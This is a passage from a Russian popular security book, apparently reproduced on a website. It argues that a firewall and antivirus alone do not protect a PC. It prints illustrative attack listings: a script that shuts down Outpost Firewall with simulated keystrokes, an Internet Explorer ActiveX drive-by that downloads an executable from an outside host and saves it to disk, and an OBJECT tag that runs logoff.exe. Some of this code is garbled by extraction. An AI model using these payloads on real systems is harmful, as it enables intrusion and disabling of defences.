Книга: Защити свой компьютер на 100% от вирусов и хакеров

Брандмауэр

Брандмауэр

Нужен ли нам брандмауэр?

Вопрос, что ли, ну совсем смешной. Конечно же нужен! А как без него-то вообще? Брандмауэр – это первый рубеж, стоящий на страже нашей безопасности, и это уже знают даже школьники! Брандмауэр – это святое. Agnitum, Zone Alarm – кому что нравится.

Итак, брандмауэр установлен и настроен. Можно ли сказать, что компьютер защищен?

Вариант 1. На межсетевой экран был натравлен новый эксплоит (программа, эксплуатирующая уязвимость), после чего «огненная стена» превратилась в дымящуюся дыру, а пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения– идея в том, что практически ни один программный продукт не застрахован от уязвимостей. Следующий код на JavaScript (листинг 1.4) – лишь пример, но…

Листинг 1.4. Просто выгружаем наш межсетевой экран (на примере Agnitum)

set WShell = CreateObject("WScript.Shell")

WShell.Exec " FilesAgnitumOutpost Firewalloutpost.exe"

WScript.Sleep 200

WShell.AppActivate "Agnitum", TRUE

WScript.Sleep 100

WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"

WScript.Sleep 100

WShell.SendKeys "{ENTER}"

ПРИМЕЧАНИЕ

Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий "зло-код" (рис. 1.1)!


Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня

Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.


Рис. 1.2. И опять наш «Касперский» оказался на высоте

Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!

<script>

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.OpenC'GET', "http://www.example.com/1.exe", 0);

x.Send();

var s = new ActiveXObject("ADODB.Stream");

s.Mode = 3;

s.Type = 1;

s.Open();

s.Write(x.responseBody);

s.SaveToFile("C:example.exe", 2);

</script>

<script language="javascript">

 function preparecode(code)

{ result = "";

lines = code.split(/rn/);

for (i=0; i<lines.length; i++) {

line = lines[i];

line = line.replace(/*s+/,"");

line = line.replace(/s+$/,"");

line = line.replace(/'/g,"'");

line = line.replace(/[]/g,"");

line = line.replace(/[/]/g,"%2f");

if (line != '') {

result += line +'rn';

}

}

return result;

}

function doit() {

mycode = preparecode(document.all.code.value);

myURL = "file:javascript:eval(" + mycode + "')";

window.open(myURL, "_media");

}

setTimeout("doit()", 5000);

</script>

</html>

Вариант 3. Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй, вообще нет смысла.

Теперь попробуем разобраться, от чьих прав безопаснее осуществлять работу: администратора или пользователя.

Разумеется, пользователя! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, конечно, относится), может куда больше, чем с правами "смертного" пользователя.

В качестве яркого примера, иллюстрирующего "всемогущие" возможности имени администратора, можно привести следующий код (листинг 1.6). Данный HTML-код, запущенный от имени пользователя, можно считать довольно безобидным, но только до тех пор, пока он не будет запущен от имени администратора.

Листинг 1.6. Наш учебный код

<HTML>

OBJECT CLASSID='CLSID:10000000'

CODEBASE='C:Windowssystem32logoff.exe'>

</OBJECT>

<HTML>

ПРИМЕЧАНИЕ

Приведенный сценарий, как и другие, использованные в тексте, не претендует на оригинальность (хотя бы потому, что определяется антивирусом) и является всего лишь примером.

А если человек постоянно работает от прав пользователя? Может ли это означать, что система защищена от выполнения кода, требующего административных привилегий? Да, действительно, работа с низкими привилегиями значительно повышает общий уровень безопасности системы (вспомнить хотя бы UNIX-системы, в которых работа без прав суперпользователя считается правилом хорошего тона), но не будем забывать про вредоносные программы, повышающие привилегии! Фантастика? Да никакая не фантастика.

Читателям, которые усомнятся, аргументируя свою уверенность тем, что сервисы вроде DepLoit или GetAdmin уже древность, а альтернативы им нет, достаточно лишь заглянуть на www.securityLab.ru.

Даже при условии, что пользователь постоянно использует run as (утилита, вызываемая из контекстного меню для вторичного входа в систему), войти в систему от "настоящего" администратора рано или поздно ему придется. "Зараза" почувствует это и выполнит свою программу.

Таким образом, наличие в системе антивирусной программы и межсетевого экрана, даже если учесть работу пользователя не от прав администратора, не может стать гарантией того, что система не будет взломана. Взлом системы с конфигурацией, описанной выше, может быть осуществлен даже непрофессионалом!

Оглавление книги

Оглавление статьи/книги
Похожие страницы

Генерация: 0.155. Запросов К БД/Cache: 2 / 0
поделиться
Вверх Вниз